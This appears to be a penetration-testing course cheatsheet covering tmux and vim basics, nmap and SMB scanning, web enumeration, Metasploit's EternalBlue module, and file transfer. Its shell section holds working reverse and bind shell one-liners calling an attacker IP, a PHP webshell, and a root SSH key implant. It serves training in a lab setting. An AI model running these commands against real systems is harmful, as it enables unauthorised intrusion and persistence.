Cheatsheet

Basic Tools

Command	Description
General	
`sudo openvpn user.ovpn`	Connect to VPN
`ifconfig`/`ip a`	Show our IP address
`netstat -rn`	Show networks accessible via the VPN
`ssh user@10.10.10.10`	SSH to a remote server
`ftp 10.129.42.253`	FTP to a remote server
tmux	
`tmux`	Start tmux
`ctrl+b`	tmux: default prefix
`prefix c`	tmux: new window
`prefix 1`	tmux: switch to window (`1`)
`prefix shift+%`	tmux: split pane vertically
`prefix shift+"`	tmux: split pane horizontally
`prefix ->`	tmux: switch to the right pane
Vim	
`vim file`	vim: open `file` with vim
`esc+i`	vim: enter `insert` mode
`esc`	vim: back to `normal` mode
`x`	vim: Cut character
`dw`	vim: Cut word
`dd`	vim: Cut full line
`yw`	vim: Copy word
`yy`	vim: Copy full line
`p`	vim: Paste

Command	Description
`:1`	vim: Go to line number 1.
`:w`	vim: Write the file 'i.e. save'
`:q`	vim: Quit
`:q!`	vim: Quit without saving
`:wq`	vim: Write and quit

Pentesting

Command	Description
Service Scanning	
`nmap 10.129.42.253`	Run nmap on an IP
`nmap -sV -sC -p- 10.129.42.253`	Run an nmap script scan on an IP
`locate scripts/citrix`	List various available nmap scripts
`nmap --script smb-os-discovery.nse -p445 10.10.10.40`	Run an nmap script on an IP
`netcat 10.10.10.10 22`	Grab banner of an open port
`smbclient -N -L \\\\10.129.42.253`	List SMB Shares
`smbclient \\\\10.129.42.253\\users`	Connect to an SMB share
`snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0`	Scan SNMP on an IP
`onesixtyone -c dict.txt 10.129.42.254`	Brute force SNMP secret string
Web Enumeration	
`gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt`	Run a directory scan on a website
`gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt`	Run a sub-domain scan on a website
`curl -IL https://www.inlanefreight.com`	Grab website banner
`whatweb 10.10.10.121`	List details about the webserver/certificates
`curl 10.10.10.121/robots.txt`	List potential directories in `robots.txt`
`ctrl+U`	View page source (in Firefox)

Command	Description
Public Exploits	
`searchsploit openssh 7.2`	Search for public exploits for a web application
`msfconsole`	MSF: Start the Metasploit Framework
`search exploit eternalblue`	MSF: Search for public exploits in MSF
`use exploit/windows/smb/ms17_010_psexec`	MSF: Start using an MSF module
`show options`	MSF: Show required options for an MSF module
`set RHOSTS 10.10.10.40`	MSF: Set a value for an MSF module option
`check`	MSF: Test if the target server is vulnerable
`exploit`	MSF: Run the exploit on the target server is vulnerable
Using Shells	
`nc -lvnp 1234`	Start a `nc` listener on a local port
`bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'`	Send a reverse shell from the remote server
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f`	Another command to send a reverse shell from the remote server
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f`	Start a bind shell on the remote server
`nc 10.10.10.1 1234`	Connect to a bind shell started on the remote server
`python -c 'import pty; pty.spawn("/bin/bash")'`	Upgrade shell TTY (1)
`ctrl+z` then `stty raw -echo` then `fg` then `enter` twice	Upgrade shell TTY (2)
`echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php`	Create a webshell php file
`curl http://SERVER_IP:PORT/shell.php?cmd=id`	Execute a command on an uploaded webshell
Privilege Escalation	

Command	Description
`./linpeas.sh`	Run `linpeas` script to enumerate remote server
`sudo -l`	List available `sudo` privileges
`sudo -u user /bin/echo Hello World!`	Run a command with `sudo`
`sudo su -`	Switch to root user (if we have access to `sudo su`)
`sudo su user -`	Switch to a user (if we have access to `sudo su`)
`ssh-keygen -f key`	Create a new SSH key
`echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys`	Add the generated public key to the user
`ssh root@10.10.10.10 -i key`	SSH to the server with the generated private key

Transferring Files

`python3 -m http.server 8000`	Start a local webserver
`wget http://10.10.14.1:8000/linpeas.sh`	Download a file on the remote server from our local machine
`curl http://10.10.14.1:8000/linenum.sh -o linenum.sh`	Download a file on the remote server from our local machine
`scp linenum.sh user@remotehost:/tmp/linenum.sh`	Transfer a file to the remote server with `scp` (requires SSH access)
`base64 shell -w 0`	Convert a file to `base64`
`echo f0VMR...SNIO...InmDwU | base64 -d > shell`	Convert a file from `base64` back to its orig
`md5sum shell`	Check the file's `md5sum` to ensure it converted correctly